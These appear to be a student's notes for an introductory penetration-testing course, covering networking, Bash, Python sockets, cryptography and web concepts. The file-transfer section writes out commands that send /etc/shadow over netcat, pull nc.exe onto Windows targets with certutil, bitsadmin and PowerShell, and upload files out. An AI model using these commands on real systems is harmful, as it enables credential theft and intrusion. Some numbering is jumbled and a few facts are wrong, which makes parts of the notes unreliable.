PEN 100 Notes
PEN 100 Notes
PEN 100 Notes
Networking Fundamentals
1. A network model is a conceptual framework that helps us understand
how we could organize communication between different devices. Once
we understand network models, we can implement various network
protocols, which describe how two or more entities (in this case,
machines) should communicate in practice.
2. There are two main reference models which describe how to connect
multiple devices. These two reference models are the OSI model (Open
Systems Interconnection) and the TCP/IP model.
3. A Protocol Data Unit (PDU) is the unit of information that is transmitted
at a certain layer. For example, flow control, the function of making
sure information gets to its intended destination, can be implemented at
several layers.
4. OSI Model consists of 7 layers:
Layer 7: At the very top of the model, the Application Layer defines how
a human or software can interact with a network.
Layer 6: The Presentation Layer is responsible for taking the data it
receives from the layer below it, and for rearranging it so the Application
Layer can present to a user.
Layer 5: The Session Layer implements protocols that initiate, maintain,
and eventually terminate multiple different connections between
computers.
Layer 4: The Transport Layer is largely (but not solely) responsible for
making sure that data gets from Host A to Host B in proper order and on
time.
Layer 3: The Network Layer, true to its namesake, is primarily
concerned with information traveling between two or more different
networks.
Layer 2: The Data Link layer is tasked with transferring information
between hosts that are physically connected on the same network.
Layer 1: Finally, the Physical Layer transfers raw data between a
physical machine and a physical transmission medium (like a wire).
5. TCP/IP Model consists of four layers:
Layer 4: The Application Layer of TCP/IP can roughly be thought to be
similar to the combied Application, Presentation, and Session layers of
the OSI model.
Layer 3: The Transport Layer of TCP/IP attempts to answer the question
"What rules should we use to determine how machines should
communicate together regardless of the networks they happen to be on?"
Layer 2: The Internet Layer answers the question "What rules should we
use to define how information travels between networks?"
Layer 1: The Link Layer answers the question "What rules should we
use to define communication within the same physical network?"
6. To build an IP address, we take four octets and concatenate them to
form a 32-bit integer. For each of the four octets, a number between 1
and 255 is chosen. These values are called octets because 2^8 = 256.
An example of an IP address is 192.168.127.16
7. To refer to subnets more concisely, we can use something called
Classless Inter-Domain Routing (CIDR) notation. For example, the CIDR
notation for a network with a 255.255.255.0 subnet mask is "/24",
because there are 24 one-bits in the mask.
(11111111.11111111.11111111.000000000)
8. TCP is perhaps the most common Transport layer protocol. It enables
two-way communication by establishing a session between machines. A
TCP session is initiated by what's called the Three Way Handshake.
9. HTTP is the protocol of the web. It specifies rules for web clients to
retrieve content from web servers. HTTP most commonly uses port 80
whereas HTTPS uses port 443.
10. FTP allows a client to connect to, browse, send, and retrieve files to,
and from, a server. FTP is useful to know about from a security
perspective, because it enables means of discovering information that
may not be as heavily monitored or hardened as other network services.
11. SMTP is one of several application layer protocols dedicated to e-mail.
As with other protocols, SMTP describes a conversation or negotiation
between two parties: a sender and a receiver.
12. Wireshark is a flexible application that can be used to capture network
traffic. It is usually used via its streamlined Graphical User Interface
(GUI), but it also has a command line version called tshark.
13. Tcpdump is a command-line (or CLI) based network sniffer that is
surprisingly powerful and flexible despite the lack of a graphical
interface. It is by far the most commonly-used command-line packet
analyzer and can be found on most Unix and Linux operating systems.
14. The Address Resolution Protocol (ARP) is designed to associate Network
Layer addresses to Link Layer addresses. In this case, we're concerned
with IP addresses and MAC addresses. This allows switches to transmit
Ethernet frames to their intended destination devices on a Local Area
Network (LAN).
15. Ping is a fairly ubiquitous tool that repeatedly sends ICMP messages to a
target. This can allow us to test network connectivity by letting us know
if we're able to reach the destination. It also tests for the latency of
connectivity between the two machines.
16. The Dynamic Host Configuration Protocol (DHCP) helps make sure that
any new machines that join a network can negotiate with existing
machines to receive a properly configured and unique IP address.
17. Routing tables help machines determine how they can send information to
other hosts that they may not have a direct connection with.
18. Firewalls receive, and then drop or allow, incoming and outgoing traffic
to pass through a network based on rules defined by a system or
network administrator.
10. We can request user input while a script is running by using the read
command. Two of the most commonly used options include -p, which
allows us to specify a prompt, and -s, which makes the user input
silent. The latter is ideal for entering user credentials.
11. Conditional statements allow us to perform different actions based on
different conditions. The most common conditional Bash statements
include if, else, and elif.
12. Double Parentheses(let keyword alternative) is used for arithematic
operations whereas Square Brackets(test keyword alternative) are used
for comparison operations.
13. Let's review the AND (&&) Boolean operator first, which executes a
command only if the previous command succeeds (or returns true or its
numerical representation of "0").
14. When used in a command list, the OR (||) operator is the opposite of
AND (&&); it executes the next command only if the previous command
failed (returned false or non-zero).
15. In Bash, the two most predominant loop commands are for and while.
16. In terms of Bash scripting, we can think of a function as a script within
a script. This becomes very useful when we need to execute the same
code multiple times in a script.
17. Two ways in which we can declare functions:
a. function function_name { commands... }
b. function_name() { commands...}
18. The use of the double redirect (<<) into cat with a string value means to
display the following text up until, but not including, the string value.
This avoids issuing lots of echo commands!
19. We've added the -q option to suppress the output from grep. We then do
another check using the special -d form of test to check the existence
of a folder.
20. The scope of a variable is simply the context in which it has meaning. By
default, a variable has a global scope, meaning it can be accessed
throughout the entire script. In contrast, a local variable can only be
seen within the function, block of code, or subshell in which it is
defined.
21. The EOF stands for the end of file. This means that when the compiler
reaches this operator it will end the execution of the file.
cat<<EOF text... EOF
17. { language-function
<actions>
}```
Network Scripting
1. A socket is essentially an endpoint that allows network communication to
flow between two programs running over a network. We can implement
network sockets on several different channel types.
2. The socket_family variable allows us to specify a protocol domain.
AF_INET, is used for IPv4 Internet addressing and AF_INET6 is used for
IPv6 Internet addressing. AF_UNIX is the address family for Unix Domain
Sockets (UDS). The socket type is usually either SOCK_DGRAM for the
User Datagram Protocol (UDP) or SOCK_STREAM for the Transmission
Control Protocol (TCP).
3. The socket.connect(address) method is used to initiate a connection
with the server. The method requires that we specify a single host and
port to connect on, which we defined in the host and port variables. The
socket.recv(bufsize) method allows the client to receive a TCP message
from the socket.
4. The bufsize (buffer size) argument defines the maximum amount of data
that the method can receive at any one time.
5. The telnetlib allows for an implementation of the Telnet protocol. We will
be modifying our script to make use of the telnetlib.interact() method,
which will allow us to interact with the server dynamically.
6. The socket.bind(address) method binds, or assigns, a specific port to
our program. In this case, we want to bind our server to the port we
defined in the port variable. The socket.listen(int) method tells the
server to listen for incoming connections and expects an integer.
7. The integer specified in socket.listen() represents the number of clients
the server will allow to connect to itself simultaneously. Once the server
is listening, it reports its status via the print function.
8. The integer specified in socket.listen() represents the number of clients
the server will allow to connect to itself simultaneously. Once the server
is listening, it reports its status via the print function.
9. Port scanning allows us to locate open ports that are available on a
particular host. As penetration testers, we can configure our port
scanner to retrieve information about the ports, assess what services
are running on each port, and even guess which OS may be running on
the host.
10. The time.time() method returns the time at which the Python interpreter
runs the line of code it is located on.
11. socket.connect_ex() does the same thing as socket.connect(), but it
returns an error indicator upon success or failure. On connecting
successfully it returns 0.
12. Port Knocking is a means by which external users can open a gated port
on a machine by first connecting to a predetermined list of other ports in
a specific order. Think of it like entering a PIN on a mobile device: if you
input the correct numbers in the correct order, the phone will unlock.
13. It is important to note that the send() method requires a byte-like object
argument, not a string. We can use the encode() method on a variable
to convert its content to bytes, and use the decode() method to convert
bytes to a string.
14. Web Scraping is a process of sweeping information that is contained on a
webpage and extracting the information we're interested in. As
penetration testers, it is sometimes easier to retrieve the data we are
looking for by writing a script than trying to look for the data manually
from the website.
15. In a POST request, the data that is sent to the server is stored in the
request body of an HTTP request. This is in contrast to a GET request,
where data is sent directly via a URL. A common use-case for POST
requests employed by many websites are web forms, such as those used
when subscribing to a site.
16. A request header contains detailed information about the resource that is
being queried. A response header holds additional information about the
response. For example, a response header might include the location of
the server.
17. Scapy is a flexible Python-based packet manipulation program. The
purpose of using Scapy is mainly for two things: to sends packets and
receive answers.
18. A spoofed packet disguises its source IP address, so that the receiver
believes that the packet originates from a different source. Packet
spoofing can be used by attackers to misrepresent where they are, or to
impersonate other users.
Troubleshooting
Nothing to Note...
Cryptography
1. Cryptography, from the Greek word "kryptos" (meaning concealed),
involves the concealment of information from third-parties. It involves
encoding, hashing, and encryption.
2. Entropy: The amount of unpredictability in a given ciphertext. Entropy
colloquially refers to how close the ciphertext is to ideal randomly
generated text.
3. Fundamental Theorem of Arithmetic: The mathematical statement that
every natural number greater than 1 must be either prime or a product of
unique prime factors. Forms the basis of many asymmetric cryptography
implementations.
4. Encoding is a means of converting data. Data may be converted into
another format in order to transmit it, store it, or compress it. Encoding
might also be used to describe a data structure or format, for example a
file format. Algorithms can encode and decode this data without any sort
of key.
5. Binary encoding allows us to use only a sequence of 0s and 1s to
represent far more complex data. Executable program files are
sometimes called "binary files" or "binaries" as well.
6. Most Linux distributions include the bc program, which is a calculator.
This calculator can also convert numbers between different bases.
7. Since hexadecimal appears similar to regular decimal numbers at times,
we often differentiate it by adding the prefix "0x". We can be similarly
precise with binary by using the prefix "0b", as in 0b11 and 0b110.
8. Any time we are talking about memory addresses, whether we are
developing an exploit or perhaps trying to perform a forensic
investigation, we always use hex-encoded addresses.
9. Unicode is a standard that provides a number, or unique code point, for
each character. Another way to say this is that each character is
mapped to a unique value. Unicode Transformation Format (UTF) is a
way to encode these Unicode mappings. The most common forms of UTF
are UTF-8, which uses 8 bits, or 1-byte unit, and UTF-16, which uses
16 bits, or 2-byte units.
10. Base64 works by converting every three-bytes of binary data into four
Base64 characters. Each three byte sequence is called a block. 3x8
bytes of input produces 4x6 Base64 bytes of output. Base64 encoded
strings are always longer than the original text because regular bytes
have eight bits and Base64 characters usually only have six bits of data.
11. Hashing is a transformation of variable-sized input data to a fixed-size
hexadecimal output. This output is often called a hash, or a digest. Even
the smallest change in the input data can greatly change the resulting
digest. Because of this, hashing is often used to verify the integrity of
some input data.
12. One of the common applications for hashing is calculating checksums.
Checksums are used to prove the integrity of the transmitted data. If the
checksums calculated on the sender's side are the same as the ones
calculated after the data transmission, it means that the transmitted
data are intact.
13. With respect to brute forcing, a password's strength is a function of its
length and its complexity. If we want to make a password stronger,
increasing its length usually has more defensive utility than increasing its
complexity.
14. Password hashes typically indicate which hashing algorithm produced it.
This indicator is usually a numeric value located between the first and
the second dollar sign.
15. LM and NTLM are two different hashing algorithms Windows has used to
store passwords. LM hashing is now obsolete and disabled in newer
versions of Windows. This is because it is significantly weaker than
NTLM, in that it only allows about 140 different characters in its
passwords, compared to NTLM's significantly more numerous 65536.
16. A salt is an ideally random, unique generated string. The salt is mixed
with the cleartext input (for example, appended to it), and then the
hash is calculated for the mixed string.
17. Like a physical key, a cryptographic key is (usually) a unique entity that
pairs with a specific thing that will be opened or unlocked. Keys
generally have the property of being hard to replicate assuming you do
not have the original key in your possession.
18. Symmetric-key algorithms use the same key for encrypting the plaintext
(also sometimes called cleartext) into ciphertext and for decrypting the
ciphertext back into plaintext.
19. To reproduce ROT13, we can use the built-in tr command on Kali Linux.
Tr can translate letters based on the provided parameters.
echo text to encrypt | tr 'A-Za-z' 'N-ZA-Mn-za-m'
20. Frequency analysis is the study of how often a particular character or
pattern of characters arises in a given ciphertext. Since languages tend
to abide by certain patterns (for example, the most common letter in the
English language is "e"), an attacker with sufficient ciphertext may be
able to crack a cipher simply by observing such patterns.
21. Block cipher encryption algorithms are the ones which work on blocks of
data(multiple bytes) like Blowfish uses 64bit data blocks. On the other
hand, stream ciphers operate on plaintext only one byte at a time (i.e,
each letter of the plaintext is modified independently).
22. GNU Privacy Guard (gpg) is a free and open-source command-line tool
which is a rendition of Pretty Good Privacy (PGP), which is a
cryptographic product usually used for email encryption.
23. Asymmetric cryptography, also known as public-key cryptography, is a
process that uses a pair of related keys -- one public key and one
private key -- to encrypt and decrypt a message and protect it from
unauthorized access or use.
24. There are several methods for implementing the relationship between
keys in a key-pair, but each of them hinge on a fundamental
mathematical concept: the procedure that generates the key-pairs must
be easy to compute given some input, but it must be difficult to reverse
given some output.
25. First, we select two prime numbers (designated by p and q) and then
multiply them together to form the product n. Using n as a base, we can
perform some additional math to output two special numbers e and d,
such that they have particular properties relative to n. We can then
define a public key as the tuple (n,e), and a private key as the tuple
(n,d).
26. Using asymmetric cryptography in SSH: Once we have generated a
public-private key pair using ssh-keygen, we need to send our public key
to the target using ssh-copy-id -i /public.pub target@<target-
host> . Then once our public key is saved on the target we can connect
to target using our private key as ssh -i /key.private
target@<target-host> .
27. openssl s_client is the implementation of a simple client that connects
to a server using SSL/TLS. To connect to a client using ssl we can use
the following command: openssl s_client -connect <ip:port>
28. Privacy Enhanced Mail (PEM) file or .pem is simply a list of Base64
encoded strings, usually containing multiple certificates, keys, and other
cryptographic items. Entities in a .pem are separated by lines such as
"-----BEGIN/END PRIVATE KEY-----".
29. Forward secrecy is a feature that aims to protect against session key
compromise. In short, this feature assures that past communication
cannot be decrypted if the private key gets compromised.
Web Applications
1. The Open Web Application Security Project (OWASP) is a non-profit
foundation that works on web security. Among other activities, they
publish papers, develop and contribute to open-source projects, and
organize, host, and promote security conferences.
2. Access Control refers to the restrictions of abilities and functionalities a
user is vested at a particular level of authentication. Once a user is
logged-in to a website, additional security controls must be put in place
to prevent them from executing unintended actions.
3. Sometimes, a user may be able to carefully craft their input so that the
application interprets the text as some kind of code. When a user is able
to input and execute code in this manner, it is called an Injection
attack.
4. Cross-Site Scripting (XSS) is a particular form of injection where the
code that gets inputted by an attacker is executed within the browser of
another user. By contrast, most other injection attacks execute code on
the machine running the application rather than the client.
5. Insecure design refers to issues that occur because the design of the
application is fundamentally flawed. For example, if the application
should check for password-length when a user signs up but fails to do
so, that application can be said to have insecure design flaws.
6. Server-Side Request Forgery (SSRF) happens when a web application
tries to reach a remote server without validating the URL of the remote
server. If an attacker can control the contents of the URL, this can
allow them to force the application to make a request to a resource it
shouldn't be able to reach, including an attacker's own server.
7. In the context of web application attacks, a payload is any weaponized
request meant to poke at functionality or cause harm to the app.
However, the term payload also generally refers to the body of an HTTP
request.
8. We could edit the request in the Intercept view of Burp, but then we
would need to resubmit if we want a fresh request. Instead, we can
send this request to the Repeater to be able to modify and repeat the
request as many times as we'd like.
9. An HTTP request method tells the HTTP protocol what kind of action the
client wants to perform on a given resource or page. It's then up to the
server to determine how to interpret or handle the request.
10. URL encoding is the practice of translating unprintable characters or
characters with special meaning within URLs to a representation that is
unambiguous and universally accepted by web browsers and servers.The
urllib.parse package within Python3 provides URL encoding with the
quote() function. urllib.parse.quote('/El Niño/')
11. There are several headers that start with the letter "X", as in X-
Requested-With. This syntax is one way to represent non-standard HTTP
headers, and they often reveal interesting information about the
software used by the web application.
12. HTTP cookies are a common way to maintain state throughout a series of
HTTP requests for a particular user. It is how a client can authenticate
himself to the server and access his saved session state without sending
his username & password in each HTTP request. Cookies are randomly
generated and are used as lookup keys for server-side data.
13. It's important to note that HTML is not considered a programming
language, but a markup language, which means it describes how to
render text.
14. The Document Object Model (DOM) connects web pages to scripts or
programming languages by representing the structure of a document—
such as the HTML representing a web page—in memory. The DOM
represents a document with a logical tree. DOM methods allow
programmatic access to the tree. With them, you can change the
document's structure, style, or content.
15. JavaScript is a high-level programming language that has become one of
the fundamental components of modern web applications. All modern
browsers include a JavaScript engine that runs any client-side JavaScript
code.
16. Minification compresses JavaScript files by removing unnecessary
content, such as comments and extra white space. This process does
not change the functionality of the minified files. This is done to reduce
the file size to help them load faster.
17. Robots.txt allows us to specify files on our server that we don't want
to be crawlable. Effectively, robots.txt tells a robot whether it should
be allowed to visit certain parts of the site or not. Humans.txt is a
relatively newer convention that lists all the people who have worked on
a web site.
18. Where robots.txt primarily specifies files that should be ignored by
crawlers, sitemap.xml helps to tell search engines that the site should
be crawled. This is often used for Search Engine Optimization (SEO).
19. By contrast, many modern web applications make use of HTTP routing.
Instead of having a file living at /var/www/html/site, the application's
code would define a URL at site/ to respond with a certain resource.
Hence, to access a file we need to know its full name and the developer
can also restrict access using certain methods() only.
20. SQL is a querying language used to interface with a database. It tells the
database what data the web application wants, what kind of conditions
the data must meet, how to organize the results, and much more. The
database processes the SQL statement and determines what data
matches the statement's conditions. SQL syntax is designed to be
human-readable.
21. SELECT statements, along with WHERE clauses, make up the basics of
using SQL to extract information from a database. The JOIN and UNION
operators allow us to combine rows of data from multiple tables.
22. A primary key is a unique identifier for a row of data in a table. It can
be any type of value as long as each row in the table has a unique
value. A foreign key is a column that references a primary key in a
different table.
File Transfers
1. There are multiple ways to transfer files from a Linux target machine
such as:
i. Web-based file transfers: After you have gained shell access on target
machine you could host a Python or Apache2 web server on that machine
and download files on to your machine and vice-versa. You could also
create a custom .php on your web server to upload files from the target
machine.
ii. Netcat: nc 192.168.48.3 4444 < /etc/shadow
iii. Secure Copy: scp
offsec@192.168.50.151:/home/offsec/.bash_history
offsecHistory.txt
iv. FTP: Download: get secret.txt Upload: put exploit.sh
v. TFTP: Very trivial or basic form of FTP. By default, we can not list
files through TFTP. However, if we already know the filename, we can
download files with get or upload using put.
2. FTP connections use a command channel for commands and a data
channel for data. In a default configuration, passive mode will combine
these channels on TCP port 21 and all communication will occur in that
client-initiated session. Alternatively, an active connection uses TCP
ports 20 and 21 for the data and command channels respectively,
requiring a server-initiated connection to the client.
3. Binary and ASCII modes describe ways of transferring specific types of
files. If the file is a text file, ASCII mode will suffice. If a text file is
transferred from a UNIX system to a Microsoft system, ASCII mode will
automatically add a at the end of each newline.This ensures compatibility
with reading a text file when transferred from one type of system to
another.
4. Binary mode will keep the file in its original state, without modifying the
newline entries. If transferring an executable, Binary mode is the best
choice. Otherwise, the execution of the binary may become corrupted
due to the modification of the new line entries.
5. Trivial File Transfer Protocol (TFTP) is a UDP-based file transfer protocol
and is often restricted by corporate egress firewall rules. During a
penetration test, we can use TFTP to transfer files from older Windows
operating systems up to Windows XP and 2003.
6. Many IoT and small form-factor networking devices will have TFTP
installed and configured for firmware updates.
7. Daemon are utility programs that run silently in the background to
monitor and take care of certain subsystems to ensure that the operating
system runs properly. A printer daemon monitors and takes care of
printing services. A network daemon monitors and maintains network
communications, and so on.
8. When accessing a Windows system, we must identify tools that exist in
the current installation that we can leverage to transfer files. The
concept of utilizing pre-existing applications is called living off the land.
9. There are multiple ways to transfer files from a Windows target machine
like:
i. certutil: Download files from host's webserver. certutil -urlcache
-split -f http://192.168.48.3/nc.exe nc.exe ii. bitsadmin: Download
file from host's webserver. Doesn't work with Python webserver.
bitsadmin /create MyDownloadExample
bitsadmin /addfile MyDownloadExample http://IP/file
C:\FULLPATH\file
bitsadmin /resume MyDownloadExample
bitsadmin /info MyDownloadExample /verbose
bitsadmin /complete MyDownloadExample
iii. Powershell: System.Net.WebClient or wget(Invoke-WebRequest)
Down: powershell.exe (New-Object
System.Net.WebClient).DownloadFile ('http://192.168.48.3/nc.exe',
'nc.exe')
Down: wget http://192.168.48.3/nc.exe -o nc.exe
Upload: powershell (New-Object System.Net.WebClient).UploadFile
('http://192.168.48.3/uploadWindows.php', '.\Secrets.jpg')
10. First, we must allow execution of PowerShell scripts (which is restricted
by default) with the -ExecutionPolicy keyword and Bypass value. Next,
we will use -NoLogo and -NonInteractive to hide the PowerShell logo
banner and suppress the interactive PowerShell prompt, respectively.
The -NoProfile keyword will prevent PowerShell from loading the default
profile (which is not needed), and we'll specify the script file with -
File.
11. Two ways of transferring files on Windows using Powershell:
a. System.Net.WebClient
b. Invoke-WebRequest
12. We could have also made the PHP script designed for Linux target to be
able to be used on Windows with cURL but using the PowerShell
commandlet doesn't allow easy usage of the parameter in the request
and hence we use another parameterless PHP script designed for
Windows to upload files to host machine.